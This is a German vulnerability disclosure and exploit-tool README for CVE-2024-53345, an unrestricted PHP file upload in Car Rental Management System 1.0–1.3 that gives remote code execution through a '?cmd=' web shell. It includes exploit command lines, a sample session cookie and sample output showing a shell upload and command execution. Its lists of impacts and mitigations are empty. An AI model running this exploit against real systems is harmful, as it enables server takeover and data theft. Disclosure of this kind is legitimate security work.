
Kritischer 0-Day im Car Rental Management System Versionen 1.0 – 1.3
Kritischer 0-Day in Car Rental Management System Versionen 1.0 - 1.3
Eine kritische Schwachstelle besteht in der Datei-Upload-Funktionalität des Systemeinstellungs-Moduls im Car Rental Management System (Versionen 1.0 bis 1.3), die es Benutzern mit niedrigen Berechtigungen ermöglicht, beliebige Dateien hochzuladen, einschließlich ausführbarer PHP-Skripte. Diese Schwachstelle entsteht durch unzureichende Dateityp-Validierung und unzureichende Zugriffskontrolle im Upload-Verzeichnis, sodass Angreifer schädliche Dateien hochladen und ohne Authentifizierung öffentlich darauf zugreifen können.
Durch Ausnutzung dieser Sicherheitslücke kann ein Angreifer eine PHP-Shell hochladen und später Befehle remote ausführen, indem er ?cmd= an die URL der hochgeladenen Datei anhängt. Dies ermöglicht Remote Code Execution (RCE), was potenziell zu einer vollständigen Kompromittierung des Servers führen kann. Die Ausnutzung könnte zu unbefugtem Zugriff auf sensible Daten, Privilegieneskalation und der Möglichkeit führen, sich innerhalb des Netzwerks für weitere Angriffe zu bewegen.
Standardkonfiguration: Erfordert ein Benutzerkonto mit niedrigen Berechtigungen, um auf die Upload-Funktionalität im Systemeinstellungs-Modul zuzugreifen.
Standortspezifische Konfiguration: In manchen Setups kann die Datei-Upload-Funktionalität öffentlich zugänglich sein, sodass Angreifer diese Schwachstelle ohne Benutzerkonto ausnutzen können.
Diese Schwachstelle ist kritisch, da sie Remote Code Execution ermöglicht, was potenziell zu Folgendem führen kann:
Um diese Schwachstelle zu entschärfen:
python CVE-2024-53345.py -u "URL" -c "COOKIE" -cmd "COMMAND"
python3 CVE-2024-53345.py -u "URL" -c "COOKIE" -cmd "COMMAND"
-u oder --url: Geben Sie die Basis-URL des Car Rental Management Systems an.
-c oder --cookie: Geben Sie die PHP-Sitzungs-ID (PHPSESSID) eines Benutzers mit niedrigen Berechtigungen an, um die Upload-Anfrage zu authentifizieren. Beispiel: 3952gmkk9uqf1csqgcmqo58qc0
-cmd oder --command: Geben Sie den Befehl an, den Sie auf dem Server ausführen möchten, nachdem die Shell hochgeladen wurde. Beispiel: hostname
[+] Versuche, Shell hochzuladen...
[+] Shell erfolgreich hochgeladen. Überprüfen Sie das Verzeichnis /car_rental/admin/assets/uploads/.
[+] Gefundene hochgeladene PHP-Dateien: ['1730189880_php.php']
[+] Führe Befehl 'whoami' auf der hochgeladenen Shell aus...
[+] Befehlsausgabe:
Desktop-Demo\User